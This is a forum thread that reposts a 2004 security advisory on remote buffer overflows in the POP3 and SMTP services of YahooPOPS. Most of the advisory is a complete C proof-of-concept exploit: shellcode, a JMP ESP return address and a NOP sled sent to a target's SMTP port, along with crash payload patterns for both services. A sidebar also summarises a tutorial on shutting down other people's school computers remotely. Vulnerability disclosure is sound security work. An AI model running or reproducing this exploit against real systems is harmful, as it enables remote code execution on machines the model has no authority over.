Remote Buffer Overflow Vulnerability In Yahoopops

free web hosting
Open Discussion > CONTRIBUTE > Computers > Computer Security Issues & Exploits

Remote Buffer Overflow Vulnerability In Yahoopops

machinamedia
CODE
Hat-Squad Advisory: Remote Buffer overflow Vulnerability in YahooPOPS
September 22, 2004

Product: YahooPOPS!
Vendor URL: http://yahoopops.sourceforge.net
Version: YahooPOPS v0.4 up to v0.6
Vulnerability: Remote Buffer overflows
Release Date: 27 September 2004

Vendor Status:
Informed on 24 September 2004
Response: no response
Description:

YahooPOPs! Is an application that provides POP3 access to Yahoo! Mail. It is
available on the Windows, Linux, Solaris and Mac platforms. This application
emulates a POP3 & SMTP server. It also enables popular email clients like
Outlook, Netscape, Eudora, Mozilla, etc., to download email from Yahoo!
accounts. The Latest version of this Program is 0.6 and released in 23 May 2004
until now over 120000 users download this program.

Both POP3 and SMTP services have buffer overflow vulnerabilities. The Remote
Attacker can send specific Request to these services to cause a Stack based
buffer overflow which could allow a remote attacker to execute arbitrary code
or just simply crash the service on a vulnerable system.

Details:

A YahooPOPS 0.x has the Local SMTP and POP3 engines to send and receive emails.
SMTP service Dose not Enable By default. Users can enable SMTP by Software
Options.

A POP3 USER request with more than 180 bytes will start to corrupt the heap.
POP3 request (Dos Attack):

Telnet localhost 110
+OK POP3 YahooPOPs! Proxy ready
[USER][180xA][BBBB]

As a result EAX and ECX will be overwritten.

SMTP request:
Sending a request with more than 504 bytes will overwrite ESP and cause a stack
based overflow.


Telnet localhost 25
220 YahooPOPs! Simple Mail Transfer Service Ready
[504xA] [BBBB]

As a result The EIP registers will be overwritten.


Proof of concept demo exploit for YPOP! SMTP listener:

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib,"wsock32.lib")

int main(int argc, char *argv[])
{
static char overflow[1024];

char ret_code[]="\x23\x9b\x02\x10"; //JMP ESP - libcurl.dll
char jump_back[]="\x89\xe3\x66\x81\xeb\xfb\x01\xff\xe3";


/*- harmless code (tnx to snooq) , will open notepad on the remote machine */
char code[]= "\x33\xc0" // xor eax, eax slight modification to move esp up
"\xb0\xf0" // mov al, 0f0h
"\x2b\xe0" // sub esp,eax
"\x83\xE4\xF0" // and esp, 0FFFFFFF0h
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xf6" // xor esi, esi
"\x56" // push esi
"\x68\x2e\x65\x78\x65" // push 'exe.'
"\x68\x65\x70\x61\x64" // push 'dape'
"\x68\x90\x6e\x6f\x74" // push 'ton'
"\x46" // inc esi
"\x56" // push esi
"\x8d\x7d\xf1" // lea edi, [ebp-0xf]
"\x57" // push edi
"\xb8\x35\xfd\xe6\x77" // mov eax,XXXX -> WinExec()win2k(SP4)=0x7c4e9c1d
"\xff\xd0" // call eax
"\x4e" // dec esi
"\x56" // push esi
"\xb8\xfd\x98\xe7\x77" // mov eax,YYYY ->ExitProcess()win2k(SP4)0x7c4ee01a
"\xff\xd0"; // call eax



WSADATA wsaData;


struct hostent *hp;
struct sockaddr_in sockin;
char buf[300], *check;
int sockfd, bytes;
int plen,i;
char *hostname;
unsigned short port;

if (argc <= 1)
{
printf("YPOPs! SMTP Overflow\n");
printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");
printf("Usage: %s [hostname] [port]\n", argv[0]);
printf("default port is 25 \n");

exit(0);
}

printf("YPOPs! SMTP Overflow\n");
printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");

hostname = argv[1];
if (argv[2]) port = atoi(argv[2]);
else port = atoi("25");



if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
{
fprintf(stderr, "Error setting up with WinSock v1.1\n");
exit(-1);
}


hp = gethostbyname(hostname);
if (hp == NULL)
{
printf("ERROR: Uknown host %s\n", hostname);
printf("%s",hostname);
exit(-1);
}

sockin.sin_family = hp->h_addrtype;
sockin.sin_port = htons(port);
sockin.sin_addr = *((struct in_addr *)hp->h_addr);

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
{
printf("ERROR: Socket Error\n");
exit(-1);
}

if ((connect(sockfd, (struct sockaddr *) &sockin,
sizeof(sockin))) == SOCKET_ERROR)
{
printf("ERROR: Connect Error\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}

printf("Connected to [%s] on port [%d], sending overflow....\n",
hostname, port);


if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
{
printf("ERROR: Recv Error\n");
closesocket(sockfd);
WSACleanup();
exit(1);
}

/* wait for SMTP service welcome*/
buf[bytes] = '\0';
check = strstr(buf, "220");
if (check == NULL)
{
printf("ERROR: NO response from SMTP service\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}

plen=504-sizeof(code);
memset(overflow,0,sizeof(overflow));

for (i=0; i<plen;i++){strcat(overflow,"\x90");}

strcat(overflow,code);
strcat(overflow,ret_code);
strcat(overflow,jump_back);
strcat(overflow,"\n");

if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
{
printf("ERROR: Send Error\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}

printf("Exploit Sent.\n");

closesocket(sockfd);
WSACleanup();
return 0;
}

--------------------------------------------------------------------------

Vendor response: no response

Credits:

This vulnerability has been discovered by Nima Majidi
(nima_majidi@hat-squad.com)

The Original advisory could be found at:

http://www.hat-squad.com/en/000075.html


enjoy!

Notice from cmat:
Please use codebox tags when copying large amounts of code

 

 

 


Reply

RemoteConnection
Well, it seems sending exploits here is public, okay , Thanks machinamedia

Reply

RemoteConnection
hey, nothing here?!

Reply



Got an Opinion! Express your Views! (no registration):-
Add your Reply/ Opinion/ Views/ Comments/ Suggestion/ Questions/ Queries etc.
Posts with decent grammar & English will be accepted and please refrain from profanities.
For asking a Question, We recommend you to sign-up (for free) so that you can track the topic easily.

Nature of your Post*: Opinion/ Reply/ Comments
Question/Query
Feedback to us.
       
Name   Email
Title/Question*

(Maximum characters: 10,000)
You have characters left.

Recent Queries:-
  1. yahoopops code execution vulnerability - 100.02 hr back. (1)
  2. yahoopops! is v0.4 download - 257.01 hr back. (1)
  3. overflow vulnerability ping.exe - 335.29 hr back. (1)
Similar Topics

Keywords : remote, buffer, overflow, vulnerability, yahoopops

  1. Shadow_x21 Tutorial Includes: Remote Shutdown
    and Local Shutdown (7)
  2. Remote Viewing Techniques
    (0)
    As a senior meditator, I can teach you how TO REMOTE VIEWING As a human, we have the supernatural
    abilities like animal do. Animal do know how and where to fly. We human of course have our born
    abilities but our sins have made all these abilities missing. To make this abilities and enable it
    again, we should cleanse ourself from sins, the way to do that - Meditate with a fix posture of
    sitting and with our backbone straight (this is why animals backbone is not straight because they
    are reincarnated from sin soul, my religions told me) meditate by taking a deep breat....
  3. Web Based Os
    Fully online Remote Desktops [free!] (7)
    This is something worth checking out! Everyone is familiar with Desktop Operating Systems...
    Windows, Linux, MacOS etc... ...but do you know about online Web-based OS? Basically, you open a
    (usually free) account where you are able to log in to see a fully functional desktop... all through
    your web browser. It's just like working on a "normal" computer except that, because it's
    online, you can access your work... and the programs from anywhere. If you haven't seen this,
    it's probably better to have a live example. Here are four examples for you to....
  4. Remote Access Mysql
    (8)
    Is it possible to directly access my local database from my website? For example, if somebody
    submits info on my website, the info they submitted would be transferred to my local database
    directly. Is that possible? And if so, how do I set that up? The reason I don't want to upload
    my database to my subdomain is because it would be difficult to keep the website database and my
    local database in sync . . . or is there a way to do that? Thanks for any replies.....
  5. Remote Control A Computer With Sound
    (2)
    Is there any program out there that you can remotely control a windows pc and have sound support. I
    have a machiene that is used for presentations in one room and in want to be able to watch the same
    presentation in another room. Any help will be greatly appreciated.....
  6. Remote Shutdown
    Windows Computers (6)
    Ok, this tutorial is designed to teach you how to remotely shutdown a Windows computer on a Local
    Area Network. I have not been able to test this on wireless and successfully do it, but it will work
    on computers connected to a LAN. Well here is how to do it. 1.Open Command Prompt on the computer
    you wish to shutdown from. Press Win + R and type in cmd or command. 2.Type in ipconfig on the
    computer you wish to shut down. If you know the IP address of the computer you wish to shutdown go
    to Step 4. 3.Get the IP address from the computer. 4.Go to the computer you wish t....
  7. U.s Military Uses Wii Remote
    Bomb diffusing robot controlled by Wii Remote (7)
    My friend just told me about this being on the Yahoo main page. It looks sweet. I would love to have
    one of these babies or something similar. It seems the Wii is not just for family fun but keeping
    families safe. Some creative minds must have gone into developing this. Article: ....
  8. Get My Ip From A Remote Location?
    (8)
    I'm not much of a network guy, so I'm asking for help from all of you trap17 techies...
    I've got a network drive that can be accessed via ftp over the web but the only problem is
    I've got a dynamic IP address. At first I would just bookmark my IP address every day when I
    came home with my laptop but is there an easier way of getting that IP address? Thanks....
  9. Remote Desktop Connection
    How to set up remote desktop connection on Window (7)
    Hi, Last term, I presented my presentation to my supervisor every day with Remote Desktop
    Connection. I did not need to bring my laptop from my hostel to campus, campus to hostel. It is very
    convenient for me. So, I would like to share my knowledge to you. It is also good when you are away
    from your computer, you can still access your computer from the distance. For example, if you were
    in Italy and studied there, you should not need to bring your computer, but you could manage your
    computer. It is very simple and very easy. I would like to explain with pictures. There....
  10. Help! Firefox And Ie Not Playing Nice!
    Div overflow problems! (8)
    I recently made a website for a friend. http://www.TheQuotes.co.nr Now, here is the problem. It
    seems if you load it with FF the middle section background will not strech. But if you use IE it
    will. Does anyone know why this is happening or how to fix it? Here is the code I have in the
    index file. CODE <head> <meta http-equiv="Content-Type"
    content="text/html; charset=iso-8859-1" /> <title>The Quotes</title>
    <style type="text/css"> a{ color: #ffffff; size:-1;} </style>
    </head&....
  11. Php Security Vulnerability - Beware From Spammers
    If you notice your site becoming really slow, you may be a victim (1)
    QUOTE PHP Security If you are using PHP on your website we ask that you please read the
    following carefully. We have noticed a significant number of PHP websites are being compromised
    due to vulnerable PHP code. Spammers are scanning millions of websites on the Internet looking for
    PHP scripts that can be exploited to send spam. When they find a script that has a loophole they
    send thousands of email messages through the script, often taking down the website or severely
    impacting website performance. Generally these loopholes exploit code using paramet....
  12. Remote Ajax
    Wtf?! (1)
    Any reason why Ajax doesn't work remotely? It looks almost as if ajax only works if its getting
    or sending info from the same server. What gives? could this have anything to do with the possible
    abuse of brute force scripts? If so, wouldn't this be a limitation in the browser only? Are
    there any browsers that allow remote Ajax? ...or am I doing something wrong? (I left that question
    at the end for a reason... I am sure that my script is flawless seeing as it works perfectly if i
    try to access something locally, but the second I try something remote, no info ....
  13. Remote Pager
    (2)
    Well, EVERYONE must have lost their tv remote at some time and we use it way more than a phone so i
    was thinking a tv remote pager we loose tv remotes more than the phone we use tv remotes all the
    time either in the couch or somewhere else and we end up looking for it more than what we do with a
    phone so why not place a button on a tv like a pager but instead of for a phone, for the tv remote
    control, we would find the tv remote in less time almost everyone would use it at one time or
    another we wouldnt have to change the channel manually anymore because when we lost the....
  14. Wireless Computer Remote Power Button - Using A Doorbell
    using an ordinary wireless doorbell [PC MOD] (3)
    Credit: original idea inspired by Marsupial at GIDEONTECH (at least that was the first place I saw
    in 2003) HTPC (Home Theatre Personal Computer) has been a rising idea back in 2003. Still today,
    not many people are investing in HTPC. People think they might have HTPC of their own but I am
    talking about the real HTPC--one that you can treat it like your DVD, VCR or Home Threatre surround
    sound system. What really makes HTPC? There are several components that truly makes an ordinary PC
    to HTPC. From time to come I will be making complete posts of my HTPC. But the very c....
  15. Buffer Overflow In Action Tutorial
    Learn how to buffer overflow programs to change the program flow... (0)
    This tutorial will show you how to buffer overflow programs in order to change the flow of the
    application , even if this means executing your own code. A very well explained tutorial of buffer
    overflows ( not theory but practise ) + a 20 min video tutorial/demonstration + all the files needed
    for the tutorial.. Buffer Overflow In Action Tutorial LINK ....
  16. Remote Access To Your Wireless Router...
    A simple How-To (4)
    Warning, a little background knowledge is needed.. not much though ^-^ There is a
    way that you can use remote access to your wireless router... in fact your whole home network for
    free with no software downloading or anything. Quite a few wireless routers I've come across
    (h**ked) can be configured for remote access, you just set the password and the port for the remote
    access. To get to the router, you would type in it's local address. There should be a load of
    settings for you to manipulate, although the router will be password protected. y....
  17. Microsoft Windows Dhcp Client Service Remote Code Execution Vulnerability
    (0)
    What it is A exploit in the buggy OS of XP has been found, this one concering DHCP. OS effected
    Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows
    2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced
    Server SP4 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Datacenter Server SP1
    Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP3 Microsoft
    Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Professional Microsof....
  18. Vulnerability Identified Within Internet Explorer
    (2)
    I found this while randomly surfing the net, i thought it should be an interesting topic. Another
    proof that IE crap. QUOTE VULNERABILITY IDENTIFIED WITHIN INTERNET EXPLORER The FBI has been
    alerted of a newly discovered vulnerability within Microsoft's Internet Explorer web browser.
    The identified vulnerability allows an attacker to spoof the web browser's address bar while
    displaying web content from another web page. For example, an attacker could be able to display the
    address bar of a legitimate Web site, while actually displaying a Phishing web page....
  19. Remote Assistance Problem
    Won't work (9)
    I have tried tons of times and i can not get it too work. I did't even know about this until
    Paul from Trap 17 used it to help me with something on my site. Whenever i try it, it never
    connects. I have tried all three ways. Email, MSN, and download the file and send it. Both computers
    are connected to the internet. On microsoft's site they have a lot of people with the same
    problem, but no one ever helps with it. They are all unanswered. Paul: If you read this i know you
    know how to do it.....
  20. More Efficient Way To Double Buffer
    (1)
    For a long time I used a BufferedImage/Graphics(2D) to double buffer my programs but someone
    recently pointed out something to me that is much more efficient: JFrames can automatically create
    buffers. The way that I used to use was like this: CODE private BufferedImage image; private
    Graphics buffer; public NameOfJPanel() {      image = new BufferedImage(WIDTH, HEIGHT,
    BufferedImage.TYPE_INT_RGB);      buffer = image.getGraphics();      ... } public void
    paintComponent(Graphics g) {      g.drawImage(image, 0, 0, null); } priva....
  21. Remote Shutdown
    (6)
    Hey everyone heres a tutorial on how to shutdown a computer remotley from another desktop, but they
    have to be on the same lan. Any ways this is great for using at school to shutdown other kids and or
    teachers computers and give yourself a laugh. here is the code that you type in Ms_DOS for
    windows. If your school has blocked that feature download the command prompt toolbar: shutdown -s
    -f -m \\IPOFOTHERCOMPUTER t- 00 just change the ipofothercomputer to the actual ip adress
    of the other computer. You can do much other stuff like restart it but the syntax i....
  22. Change The Sytlesheet Via Remote Javascript
    (0)
    This isn't my code take no credit for it but is pretty cool, allows you to change the css style
    via a radio button for your html page using javascript to access a css file , also stores your
    setting in a cookie hece you have te same style setting when you open up the page next. I put
    together the html part ad the css style of this but not the javascript. would assume the js and css
    files are in the same directory as the html file. save as test.html in your webserver root.
    CODE <html> <head> <title>etc</title> <script typ....
  23. Nintendo Remote
    (21)
    Has anyone seen the remote for the new next generation console the nintendo revolution. Instead of
    the normal joystick format it is the same shape as an ordinary remote and allows the user to play
    real full length games in the same sort of way that the playstation does with its eye toy program.....
  24. Remote Acces To Mysql In Computinghost.com Server?
    I need accessing mysql from another server (2)
    Hi, A little question, I need to access to my mysql computinghost.com serveur from another server
    form some little update. I found the option 'Mysql/Access Hosts' in the cpanel and I put
    the other server ip. But wich server name I have to put to access to my computinghost.com/localhost
    ? I've tried the ip and the adress from my website hosted on computinghost.com, I suppose there
    is a spécific adress. I tried too to find this adress myself in the forum, but I failed.
    Thank's for you help. Js.....
  25. Remote Control Finder
    (9)
    My idea is simply to have a button on the side of a TV which makes your remote control beep when
    pressed. It's a simple way to find it and I can't believe it hasn't been done!....
  26. Vulnerability In Gmail
    Attention All GMail Users! (8)
    A 14 year old boy known to the world as Antony has found a Vulnerability in Gmail. The
    Vulnerability is that, "the javascriptcode present in the message will run if it is withing the
    preview of the message". This vulnerability will lead the hackers to access ones Inbox and execute
    the code that can stel information like Email Ids or important details from your mails. The tester
    has found this vulnerability when he sent a mail containing a javascript code, from his Yahoo ID to
    GMail. This Vulnerability is filtered out when a mail containing the javascript code from on....
  27. Connect To Remote Oracle Database With Toad
    i'm lost (7)
    Hey gang, long time no see, my bad! Anyway, I got me a question. Does anybody know how to
    connect to a remote oracle database using toad? When I read the docs for toad I get the impression
    that I have to have a local oracle installation in order to use toad, but that just seems silly. I
    guess I'm stuck at the point of trying to figure out how to tell toad where to look for all of
    the configuration information it needs for the connection if I don't have any "Oracle Home"
    directories. :crosses fingers: Peace!....
  28. Shieldsup! Internet Vulnerability Test
    free test to see how vulnerable you are (17)
    Gibson Research Company (GRC) has a number of free tests available and their ShieldsUp! is one
    of the best I've seen around. QUOTE Without your knowledge or explicit permission, the
    Windows networking technology which connects your computer to the Internet may be offering some or
    all of your computer's data to the entire world at this very moment! Using this online
    utility, you can check on your Windows file sharing, probe common ports and service ports, see what
    Windows Messenger is doing in the background, check up on Internet Explorer and muc....
  29. Remote Computer Access
    i need to know how to do this (27)
    I've seen people acces their computer from other places. How do you this??? I know they have a
    software online that lets you do this. but are there any other ways??? ....
  30. Remote Access
    (1)
    have a situation where we have a mirror server located outside of our domain. Using ASP, I need to
    have the web server on the different domain access files on a file server that is within another
    domain and be able to display the file from the web page. They are Word documents and PDFs and Excel
    files. But for security reasons, we can not use anonymous access. On our production server we just
    use mappings within IIS to perform this, because it is all within one domain. I hope someone has had
    a similar experience and can tell me how this can be done using ASP or some kind....

    1. Looking for remote, buffer, overflow, vulnerability, yahoopops

*RANDOM STUFF*





*SIMILAR VIDEOS*
Searching Video's for remote, buffer, overflow, vulnerability, yahoopops

*MORE FROM TRAP17.COM*
Similar
Shadow_x21 Tutorial Includes: Remote Shutdown - and Local Shutdown
Remote Viewing Techniques
Web Based Os - Fully online Remote Desktops [free!]
Remote Access Mysql
Remote Control A Computer With Sound
Remote Shutdown - Windows Computers
U.s Military Uses Wii Remote - Bomb diffusing robot controlled by Wii Remote
Get My Ip From A Remote Location?
Remote Desktop Connection - How to set up remote desktop connection on Window
Help! Firefox And Ie Not Playing Nice! - Div overflow problems!
Php Security Vulnerability - Beware From Spammers - If you notice your site becoming really slow, you may be a victim
Remote Ajax - Wtf?!
Remote Pager
Wireless Computer Remote Power Button - Using A Doorbell - using an ordinary wireless doorbell [PC MOD]
Buffer Overflow In Action Tutorial - Learn how to buffer overflow programs to change the program flow...
Remote Access To Your Wireless Router... - A simple How-To
Microsoft Windows Dhcp Client Service Remote Code Execution Vulnerability
Vulnerability Identified Within Internet Explorer
Remote Assistance Problem - Won't work
More Efficient Way To Double Buffer
Remote Shutdown
Change The Sytlesheet Via Remote Javascript
Nintendo Remote
Remote Acces To Mysql In Computinghost.com Server? - I need accessing mysql from another server
Remote Control Finder
Vulnerability In Gmail - Attention All GMail Users!
Connect To Remote Oracle Database With Toad - i'm lost
Shieldsup! Internet Vulnerability Test - free test to see how vulnerable you are
Remote Computer Access - i need to know how to do this
Remote Access
advertisement



Remote Buffer Overflow Vulnerability In Yahoopops



 

 

 

 

ADD REPLY / Got an Opinion! a humble request :-) RAPID SEARCH! Free Hosting [X]
Express your Opinions, Thoughts or Contribute your information that might help someone here.
Ask your Doubts & Queries to get answers.. "Together, We enlight each other!"
Register FREE for AD-FREE forum, Create your own topics, Ask Questions, track topics, setup subscriptions & notifications and Get a Free Website w/ Email and FTP.
500MB Space *No Ads*, CPanel, FTP, PHP, MySQL, EMails - 100% FREE